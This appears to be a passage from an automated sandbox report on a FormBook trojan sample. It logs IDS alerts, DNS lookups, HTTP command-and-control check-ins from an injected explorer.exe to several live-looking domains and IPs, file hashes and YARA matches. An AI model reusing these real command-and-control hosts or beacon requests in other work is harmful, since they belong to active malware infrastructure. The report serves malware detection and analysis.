                                        07/01/24-21:25:38.909975TCP2031412ET TROJAN FormBook CnC Checkin (GET)4974180192.168.2.4185.53.179.90
                                        07/01/24-21:28:41.127357TCP2031412ET TROJAN FormBook CnC Checkin (GET)4974880192.168.2.4147.92.43.172
                                        07/01/24-21:26:37.917250TCP2031412ET TROJAN FormBook CnC Checkin (GET)4974480192.168.2.43.33.130.190
                                        07/01/24-21:27:39.306121TCP2031412ET TROJAN FormBook CnC Checkin (GET)4974680192.168.2.4185.151.30.212
                                        07/01/24-21:28:20.132765TCP2031412ET TROJAN FormBook CnC Checkin (GET)4974780192.168.2.43.33.130.190
                                        07/01/24-21:26:58.313160TCP2031412ET TROJAN FormBook CnC Checkin (GET)4974580192.168.2.4104.21.74.89

                                        Network Port Distribution

                                        TCP Packets

                                        TimestampSource PortDest PortSource IPDest IP
                                        Jul 1, 2024 21:25:38.882427931 CEST4974180192.168.2.4185.53.179.90
                                        Jul 1, 2024 21:25:38.892579079 CEST8049741185.53.179.90192.168.2.4
                                        Jul 1, 2024 21:25:38.892757893 CEST4974180192.168.2.4185.53.179.90
                                        Jul 1, 2024 21:25:38.909975052 CEST4974180192.168.2.4185.53.179.90
                                        Jul 1, 2024 21:25:38.915021896 CEST8049741185.53.179.90192.168.2.4
                                        Jul 1, 2024 21:25:39.403903961 CEST4974180192.168.2.4185.53.179.90
                                        Jul 1, 2024 21:25:39.422168970 CEST8049741185.53.179.90192.168.2.4
                                        Jul 1, 2024 21:25:39.422297001 CEST4974180192.168.2.4185.53.179.90
                                        Jul 1, 2024 21:26:17.871835947 CEST4974380192.168.2.43.226.182.14
                                        Jul 1, 2024 21:26:17.876894951 CEST80497433.226.182.14192.168.2.4
                                        Jul 1, 2024 21:26:17.876981020 CEST4974380192.168.2.43.226.182.14
                                        Jul 1, 2024 21:26:17.877094030 CEST4974380192.168.2.43.226.182.14
                                        Jul 1, 2024 21:26:17.881968975 CEST80497433.226.182.14192.168.2.4
                                        Jul 1, 2024 21:26:18.387938976 CEST4974380192.168.2.43.226.182.14
                                        Jul 1, 2024 21:26:18.391942978 CEST80497433.226.182.14192.168.2.4
                                        Jul 1, 2024 21:26:18.392016888 CEST4974380192.168.2.43.226.182.14
                                        Jul 1, 2024 21:26:18.392467022 CEST80497433.226.182.14192.168.2.4
                                        Jul 1, 2024 21:26:18.392530918 CEST4974380192.168.2.43.226.182.14
                                        Jul 1, 2024 21:26:18.393131018 CEST80497433.226.182.14192.168.2.4
                                        Jul 1, 2024 21:26:18.393181086 CEST4974380192.168.2.43.226.182.14
                                        Jul 1, 2024 21:26:37.911322117 CEST4974480192.168.2.43.33.130.190
                                        Jul 1, 2024 21:26:37.917150974 CEST80497443.33.130.190192.168.2.4
                                        Jul 1, 2024 21:26:37.917207003 CEST4974480192.168.2.43.33.130.190
                                        Jul 1, 2024 21:26:37.917249918 CEST4974480192.168.2.43.33.130.190
                                        Jul 1, 2024 21:26:37.921994925 CEST80497443.33.130.190192.168.2.4
                                        Jul 1, 2024 21:26:38.403681040 CEST4974480192.168.2.43.33.130.190
                                        Jul 1, 2024 21:26:38.409198046 CEST80497443.33.130.190192.168.2.4
                                        Jul 1, 2024 21:26:38.409255028 CEST4974480192.168.2.43.33.130.190
                                        Jul 1, 2024 21:26:58.308027983 CEST4974580192.168.2.4104.21.74.89
                                        Jul 1, 2024 21:26:58.312997103 CEST8049745104.21.74.89192.168.2.4
                                        Jul 1, 2024 21:26:58.313066006 CEST4974580192.168.2.4104.21.74.89
                                        Jul 1, 2024 21:26:58.313159943 CEST4974580192.168.2.4104.21.74.89
                                        Jul 1, 2024 21:26:58.318274021 CEST8049745104.21.74.89192.168.2.4
                                        Jul 1, 2024 21:26:58.785769939 CEST8049745104.21.74.89192.168.2.4
                                        Jul 1, 2024 21:26:58.785890102 CEST4974580192.168.2.4104.21.74.89
                                        Jul 1, 2024 21:26:58.786778927 CEST8049745104.21.74.89192.168.2.4
                                        Jul 1, 2024 21:26:58.786824942 CEST4974580192.168.2.4104.21.74.89
                                        Jul 1, 2024 21:26:58.790723085 CEST8049745104.21.74.89192.168.2.4
                                        Jul 1, 2024 21:27:39.298504114 CEST4974680192.168.2.4185.151.30.212
                                        Jul 1, 2024 21:27:39.303378105 CEST8049746185.151.30.212192.168.2.4
                                        Jul 1, 2024 21:27:39.306005955 CEST4974680192.168.2.4185.151.30.212
                                        Jul 1, 2024 21:27:39.306121111 CEST4974680192.168.2.4185.151.30.212
                                        Jul 1, 2024 21:27:39.311003923 CEST8049746185.151.30.212192.168.2.4
                                        Jul 1, 2024 21:27:39.794282913 CEST4974680192.168.2.4185.151.30.212
                                        Jul 1, 2024 21:27:39.799664974 CEST8049746185.151.30.212192.168.2.4
                                        Jul 1, 2024 21:27:39.801662922 CEST4974680192.168.2.4185.151.30.212
                                        Jul 1, 2024 21:28:20.126894951 CEST4974780192.168.2.43.33.130.190
                                        Jul 1, 2024 21:28:20.132664919 CEST80497473.33.130.190192.168.2.4
                                        Jul 1, 2024 21:28:20.132728100 CEST4974780192.168.2.43.33.130.190
                                        Jul 1, 2024 21:28:20.132765055 CEST4974780192.168.2.43.33.130.190
                                        Jul 1, 2024 21:28:20.138263941 CEST80497473.33.130.190192.168.2.4
                                        Jul 1, 2024 21:28:20.604612112 CEST80497473.33.130.190192.168.2.4
                                        Jul 1, 2024 21:28:20.604778051 CEST4974780192.168.2.43.33.130.190
                                        Jul 1, 2024 21:28:20.604943991 CEST80497473.33.130.190192.168.2.4
                                        Jul 1, 2024 21:28:20.604990959 CEST4974780192.168.2.43.33.130.190
                                        Jul 1, 2024 21:28:20.610156059 CEST80497473.33.130.190192.168.2.4
                                        Jul 1, 2024 21:28:41.122200966 CEST4974880192.168.2.4147.92.43.172
                                        Jul 1, 2024 21:28:41.127084970 CEST8049748147.92.43.172192.168.2.4
                                        Jul 1, 2024 21:28:41.127357006 CEST4974880192.168.2.4147.92.43.172
                                        Jul 1, 2024 21:28:41.127357006 CEST4974880192.168.2.4147.92.43.172
                                        Jul 1, 2024 21:28:41.132184029 CEST8049748147.92.43.172192.168.2.4
                                        Jul 1, 2024 21:28:41.624218941 CEST4974880192.168.2.4147.92.43.172
                                        Jul 1, 2024 21:28:41.672955036 CEST8049748147.92.43.172192.168.2.4
                                        Jul 1, 2024 21:28:41.716923952 CEST8049748147.92.43.172192.168.2.4
                                        Jul 1, 2024 21:28:41.721663952 CEST4974880192.168.2.4147.92.43.172

                                        UDP Packets

                                        TimestampSource PortDest PortSource IPDest IP
                                        Jul 1, 2024 21:25:38.795955896 CEST5518353192.168.2.41.1.1.1
                                        Jul 1, 2024 21:25:38.881470919 CEST53551831.1.1.1192.168.2.4
                                        Jul 1, 2024 21:25:58.779077053 CEST6242053192.168.2.41.1.1.1
                                        Jul 1, 2024 21:25:58.793380976 CEST53624201.1.1.1192.168.2.4
                                        Jul 1, 2024 21:26:17.700972080 CEST5165153192.168.2.41.1.1.1
                                        Jul 1, 2024 21:26:17.871001005 CEST53516511.1.1.1192.168.2.4
                                        Jul 1, 2024 21:26:37.890374899 CEST6071553192.168.2.41.1.1.1
                                        Jul 1, 2024 21:26:37.910454988 CEST53607151.1.1.1192.168.2.4
                                        Jul 1, 2024 21:26:58.280950069 CEST5760153192.168.2.41.1.1.1
                                        Jul 1, 2024 21:26:58.303792953 CEST53576011.1.1.1192.168.2.4
                                        Jul 1, 2024 21:27:18.742748976 CEST5412553192.168.2.41.1.1.1
                                        Jul 1, 2024 21:27:18.842437029 CEST53541251.1.1.1192.168.2.4
                                        Jul 1, 2024 21:27:39.265594006 CEST4997253192.168.2.41.1.1.1
                                        Jul 1, 2024 21:27:39.295222044 CEST53499721.1.1.1192.168.2.4
                                        Jul 1, 2024 21:27:59.654356003 CEST5917153192.168.2.41.1.1.1
                                        Jul 1, 2024 21:28:00.351147890 CEST53591711.1.1.1192.168.2.4
                                        Jul 1, 2024 21:28:20.082945108 CEST5713053192.168.2.41.1.1.1
                                        Jul 1, 2024 21:28:20.098934889 CEST53571301.1.1.1192.168.2.4
                                        Jul 1, 2024 21:28:40.473201990 CEST6486753192.168.2.41.1.1.1
                                        Jul 1, 2024 21:28:41.121303082 CEST53648671.1.1.1192.168.2.4
                                        Jul 1, 2024 21:29:22.529154062 CEST5207053192.168.2.41.1.1.1
                                        Jul 1, 2024 21:29:23.530782938 CEST5207053192.168.2.41.1.1.1
                                        Jul 1, 2024 21:29:24.468611956 CEST53520701.1.1.1192.168.2.4
                                        Jul 1, 2024 21:29:24.468681097 CEST53520701.1.1.1192.168.2.4

                                        DNS Queries

                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                        Jul 1, 2024 21:25:38.795955896 CEST192.168.2.41.1.1.10xf0ceStandard query (0)www.real-estate-96841.bondA (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:25:58.779077053 CEST192.168.2.41.1.1.10x7c1dStandard query (0)www.taini00.netA (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:26:17.700972080 CEST192.168.2.41.1.1.10x6304Standard query (0)www.sdplat.mediaA (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:26:37.890374899 CEST192.168.2.41.1.1.10x36eStandard query (0)www.soloparentconnect.comA (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:26:58.280950069 CEST192.168.2.41.1.1.10x2245Standard query (0)www.b0ba138.xyzA (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:27:18.742748976 CEST192.168.2.41.1.1.10xd888Standard query (0)www.imuschestvostorgov.onlineA (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:27:39.265594006 CEST192.168.2.41.1.1.10x75e4Standard query (0)www.cpuk-finance.comA (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:27:59.654356003 CEST192.168.2.41.1.1.10xa23aStandard query (0)www.acc-pay.topA (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:28:20.082945108 CEST192.168.2.41.1.1.10x8e5eStandard query (0)www.umeshraja.comA (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:28:40.473201990 CEST192.168.2.41.1.1.10xbdf5Standard query (0)www.883106.photosA (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:29:22.529154062 CEST192.168.2.41.1.1.10xde68Standard query (0)www.484844.vipA (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:29:23.530782938 CEST192.168.2.41.1.1.10xde68Standard query (0)www.484844.vipA (IP address)IN (0x0001)false

                                        DNS Answers

                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                        Jul 1, 2024 21:25:38.881470919 CEST1.1.1.1192.168.2.40xf0ceNo error (0)www.real-estate-96841.bond185.53.179.90A (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:25:58.793380976 CEST1.1.1.1192.168.2.40x7c1dName error (3)www.taini00.netnonenoneA (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:26:17.871001005 CEST1.1.1.1192.168.2.40x6304No error (0)www.sdplat.mediareticulated-garbanzo-p6jx8r0u3hbz71yu1pcvzfk0.herokudns.comCNAME (Canonical name)IN (0x0001)false
                                        Jul 1, 2024 21:26:17.871001005 CEST1.1.1.1192.168.2.40x6304No error (0)reticulated-garbanzo-p6jx8r0u3hbz71yu1pcvzfk0.herokudns.com3.226.182.14A (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:26:17.871001005 CEST1.1.1.1192.168.2.40x6304No error (0)reticulated-garbanzo-p6jx8r0u3hbz71yu1pcvzfk0.herokudns.com23.22.5.68A (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:26:17.871001005 CEST1.1.1.1192.168.2.40x6304No error (0)reticulated-garbanzo-p6jx8r0u3hbz71yu1pcvzfk0.herokudns.com52.21.227.162A (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:26:17.871001005 CEST1.1.1.1192.168.2.40x6304No error (0)reticulated-garbanzo-p6jx8r0u3hbz71yu1pcvzfk0.herokudns.com54.237.159.171A (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:26:37.910454988 CEST1.1.1.1192.168.2.40x36eNo error (0)www.soloparentconnect.comsoloparentconnect.comCNAME (Canonical name)IN (0x0001)false
                                        Jul 1, 2024 21:26:37.910454988 CEST1.1.1.1192.168.2.40x36eNo error (0)soloparentconnect.com3.33.130.190A (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:26:37.910454988 CEST1.1.1.1192.168.2.40x36eNo error (0)soloparentconnect.com15.197.148.33A (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:26:58.303792953 CEST1.1.1.1192.168.2.40x2245No error (0)www.b0ba138.xyz104.21.74.89A (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:26:58.303792953 CEST1.1.1.1192.168.2.40x2245No error (0)www.b0ba138.xyz172.67.168.2A (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:27:18.842437029 CEST1.1.1.1192.168.2.40xd888Name error (3)www.imuschestvostorgov.onlinenonenoneA (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:27:39.295222044 CEST1.1.1.1192.168.2.40x75e4No error (0)www.cpuk-finance.com185.151.30.212A (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:28:20.098934889 CEST1.1.1.1192.168.2.40x8e5eNo error (0)www.umeshraja.comumeshraja.comCNAME (Canonical name)IN (0x0001)false
                                        Jul 1, 2024 21:28:20.098934889 CEST1.1.1.1192.168.2.40x8e5eNo error (0)umeshraja.com3.33.130.190A (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:28:20.098934889 CEST1.1.1.1192.168.2.40x8e5eNo error (0)umeshraja.com15.197.148.33A (IP address)IN (0x0001)false
                                        Jul 1, 2024 21:28:41.121303082 CEST1.1.1.1192.168.2.40xbdf5No error (0)www.883106.photoswsgb3n6z.as66588.comCNAME (Canonical name)IN (0x0001)false
                                        Jul 1, 2024 21:28:41.121303082 CEST1.1.1.1192.168.2.40xbdf5No error (0)wsgb3n6z.as66588.com2tduz67r.as66588.comCNAME (Canonical name)IN (0x0001)false
                                        Jul 1, 2024 21:28:41.121303082 CEST1.1.1.1192.168.2.40xbdf5No error (0)2tduz67r.as66588.com147.92.43.172A (IP address)IN (0x0001)false

                                        HTTP Request Dependency Graph

                                        • www.real-estate-96841.bond
                                        • www.sdplat.media
                                        • www.soloparentconnect.com
                                        • www.b0ba138.xyz
                                        • www.cpuk-finance.com
                                        • www.umeshraja.com
                                        • www.883106.photos

                                        HTTP Packets

                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        0192.168.2.449741185.53.179.90802580C:\Windows\explorer.exe
                                        TimestampBytes transferredDirectionData
                                        Jul 1, 2024 21:25:38.909975052 CEST170OUTGET /dy13/?Cj9LK=8pm41D0p&0N=QEHoM+aYI3hCf+czBdOSz9RRIKYxAFZVZwkeDGKMWY6YfTbawsJCAKRBbAifn9DzIiC0 HTTP/1.1
                                        Host: www.real-estate-96841.bond
                                        Connection: close
                                        Data Raw: 00 00 00 00 00 00 00
                                        Data Ascii:


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        1192.168.2.4497433.226.182.14802580C:\Windows\explorer.exe
                                        TimestampBytes transferredDirectionData
                                        Jul 1, 2024 21:26:17.877094030 CEST160OUTGET /dy13/?Cj9LK=8pm41D0p&0N=ZKZE34nO5+VJCQ7V97/Oxkx+yV2XZDJ4QNe5btj3ut8Iv1OZ3MT37vqx38H3jKbLJXyY HTTP/1.1
                                        Host: www.sdplat.media
                                        Connection: close
                                        Data Raw: 00 00 00 00 00 00 00
                                        Data Ascii:
                                        Jul 1, 2024 21:26:18.391942978 CEST1166INHTTP/1.1 200 OK
                                        Server: Cowboy
                                        Report-To: {"group":"heroku-nel","max_age":3600,"endpoints":[{"url":"https://nel.heroku.com/reports?ts=1719861978&sid=e11707d5-02a7-43ef-b45e-2cf4d2036f7d&s=PC1fk9N9cYjuUR4q6zM8ohB4i5Q%2FGwM3U8k6madlWbs%3D"}]}
                                        Reporting-Endpoints: heroku-nel=https://nel.heroku.com/reports?ts=1719861978&sid=e11707d5-02a7-43ef-b45e-2cf4d2036f7d&s=PC1fk9N9cYjuUR4q6zM8ohB4i5Q%2FGwM3U8k6madlWbs%3D
                                        Nel: {"report_to":"heroku-nel","max_age":3600,"success_fraction":0.005,"failure_fraction":0.05,"response_headers":["Via"]}
                                        Connection: close
                                        Content-Length: 346
                                        Content-Disposition: inline; filename="index.html"
                                        Accept-Ranges: bytes
                                        Etag: "9cd2a7adffd97b7c902b0c653d50b1ab1b4ede32"
                                        Content-Type: text/html; charset=utf-8
                                        Vary: Accept-Encoding
                                        Date: Mon, 01 Jul 2024 19:26:18 GMT
                                        Via: 1.1 vegur
                                        Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 52 65 61 63 74 20 41 70 70 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 3c 73 63 72 69 70 74 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 73 72 63 3d 22 2f 62 75 6e 64 6c 65 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 20 69 64 3d 22 72 6f 6f 74 22 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 [TRUNCATED]
                                        Data Ascii: <!doctype html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>React App</title><link href="https://cdn.jsdelivr.net/npm/bootstrap-icons/font/bootstrap-icons.css" rel="stylesheet"><script defer="defer" src="/bundle.js"></script></head><body><div id="root"></div></body></html>


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        2192.168.2.4497443.33.130.190802580C:\Windows\explorer.exe
                                        TimestampBytes transferredDirectionData
                                        Jul 1, 2024 21:26:37.917249918 CEST169OUTGET /dy13/?0N=KHSNHic8JLxjXMUSHETQCf7bHtnol1DEJErUxVAiAFyfNffMOGuO7wY/4dfl/zB0OOAe&Cj9LK=8pm41D0p HTTP/1.1
                                        Host: www.soloparentconnect.com
                                        Connection: close
                                        Data Raw: 00 00 00 00 00 00 00
                                        Data Ascii:


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        3192.168.2.449745104.21.74.89802580C:\Windows\explorer.exe
                                        TimestampBytes transferredDirectionData
                                        Jul 1, 2024 21:26:58.313159943 CEST159OUTGET /dy13/?Cj9LK=8pm41D0p&0N=LVVXn+3XMgScWvA+gustfxAGGBCnrJhvM+qFjqFs2KSrXwfcw3kbTxGlCeyN42Y88s8h HTTP/1.1
                                        Host: www.b0ba138.xyz
                                        Connection: close
                                        Data Raw: 00 00 00 00 00 00 00
                                        Data Ascii:
                                        Jul 1, 2024 21:26:58.785769939 CEST905INHTTP/1.1 301 Moved Permanently
                                        Date: Mon, 01 Jul 2024 19:26:58 GMT
                                        Content-Type: text/html
                                        Content-Length: 167
                                        Connection: close
                                        Cache-Control: max-age=3600
                                        Expires: Mon, 01 Jul 2024 20:26:58 GMT
                                        Location: https://www.b0ba138.xyz/dy13/?Cj9LK=8pm41D0p&0N=LVVXn+3XMgScWvA+gustfxAGGBCnrJhvM+qFjqFs2KSrXwfcw3kbTxGlCeyN42Y88s8h
                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vTehGWNuYeIasdO33zJ2UKnQkzfWTjFN4%2FYARlS%2FVJVUK6ExlKYNq21nFJAvk4FbXMYWb4nb0H7hl%2Ft5Aqu2GXrHz8xirVxRixQu588nFNYU02slqZKM39X8PZLIr3HkKSs%3D"}],"group":"cf-nel","max_age":604800}
                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                        Server: cloudflare
                                        CF-RAY: 89c8ca710aa143b3-EWR
                                        alt-svc: h3=":443"; ma=86400
                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                        Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        4192.168.2.449746185.151.30.212802580C:\Windows\explorer.exe
                                        TimestampBytes transferredDirectionData
                                        Jul 1, 2024 21:27:39.306121111 CEST164OUTGET /dy13/?Cj9LK=8pm41D0p&0N=gDxxMnt83apdqDd0VF+A3hDmBOM78/3mfYHyjE1VNrqBuQQdV+RDpqUMPHOMA9Jp0yBU HTTP/1.1
                                        Host: www.cpuk-finance.com
                                        Connection: close
                                        Data Raw: 00 00 00 00 00 00 00
                                        Data Ascii:


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        5192.168.2.4497473.33.130.190802580C:\Windows\explorer.exe
                                        TimestampBytes transferredDirectionData
                                        Jul 1, 2024 21:28:20.132765055 CEST161OUTGET /dy13/?Cj9LK=8pm41D0p&0N=LqTJXJ5089mrTceMc0p83ZaAEN5I+KgWBnSPa3/fnIguC6SsnRdV26ZHA6opskXgqsBG HTTP/1.1
                                        Host: www.umeshraja.com
                                        Connection: close
                                        Data Raw: 00 00 00 00 00 00 00
                                        Data Ascii:
                                        Jul 1, 2024 21:28:20.604612112 CEST341INHTTP/1.1 200 OK
                                        Server: openresty
                                        Date: Mon, 01 Jul 2024 19:28:20 GMT
                                        Content-Type: text/html
                                        Content-Length: 201
                                        Connection: close
                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 43 6a 39 4c 4b 3d 38 70 6d 34 31 44 30 70 26 30 4e 3d 4c 71 54 4a 58 4a 35 30 38 39 6d 72 54 63 65 4d 63 30 70 38 33 5a 61 41 45 4e 35 49 2b 4b 67 57 42 6e 53 50 61 33 2f 66 6e 49 67 75 43 36 53 73 6e 52 64 56 32 36 5a 48 41 36 6f 70 73 6b 58 67 71 73 42 47 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                        Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Cj9LK=8pm41D0p&0N=LqTJXJ5089mrTceMc0p83ZaAEN5I+KgWBnSPa3/fnIguC6SsnRdV26ZHA6opskXgqsBG"}</script></head></html>


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        6192.168.2.449748147.92.43.172802580C:\Windows\explorer.exe
                                        TimestampBytes transferredDirectionData
                                        Jul 1, 2024 21:28:41.127357006 CEST161OUTGET /dy13/?0N=AG4Ye1FrkmCiFPqbKlnZ1dM6YK/DoI/B/9McINMFJI+SypkU6UbY406xkx1Fqy5gp249&Cj9LK=8pm41D0p HTTP/1.1
                                        Host: www.883106.photos
                                        Connection: close
                                        Data Raw: 00 00 00 00 00 00 00
                                        Data Ascii:


                                        Statistics

                                        CPU Usage

                                        Click to jump to process

                                        Memory Usage

                                        Click to jump to process

                                        High Level Behavior Distribution

                                        Click to dive into process behavior distribution

                                        Behavior

                                        Click to jump to process

                                        System Behavior

                                        General

                                        Target ID:0
                                        Start time:15:24:51
                                        Start date:01/07/2024
                                        Path:C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe"
                                        Imagebase:0x5f0000
                                        File size:598'016 bytes
                                        MD5 hash:E97620420D37596704D9F4FA70303453
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Yara matches:
                                        • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.1660916542.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000000.00000002.1660916542.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000000.00000002.1660916542.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                        • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.1660916542.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                        • Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.1660916542.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                        Reputation:low
                                        Has exited:true

                                        General

                                        Target ID:2
                                        Start time:15:24:54
                                        Start date:01/07/2024
                                        Path:C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe
                                        Wow64 process (32bit):false
                                        Commandline:"C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe"
                                        Imagebase:0x230000
                                        File size:598'016 bytes
                                        MD5 hash:E97620420D37596704D9F4FA70303453
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:low
                                        Has exited:true

                                        General

                                        Target ID:3
                                        Start time:15:24:54
                                        Start date:01/07/2024
                                        Path:C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe
                                        Wow64 process (32bit):false
                                        Commandline:"C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe"
                                        Imagebase:0x3b0000
                                        File size:598'016 bytes
                                        MD5 hash:E97620420D37596704D9F4FA70303453
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:low
                                        Has exited:true

                                        General

                                        Target ID:4
                                        Start time:15:24:54
                                        Start date:01/07/2024
                                        Path:C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe"
                                        Imagebase:0x5f0000
                                        File size:598'016 bytes
                                        MD5 hash:E97620420D37596704D9F4FA70303453
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Yara matches:
                                        • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                        • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                        • Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                        Reputation:low
                                        Has exited:true

                                        General

                                        Target ID:5
                                        Start time:15:24:54
                                        Start date:01/07/2024
                                        Path:C:\Windows\explorer.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\Explorer.EXE
                                        Imagebase:0x7ff72b770000
                                        File size:5'141'208 bytes
                                        MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Yara matches:
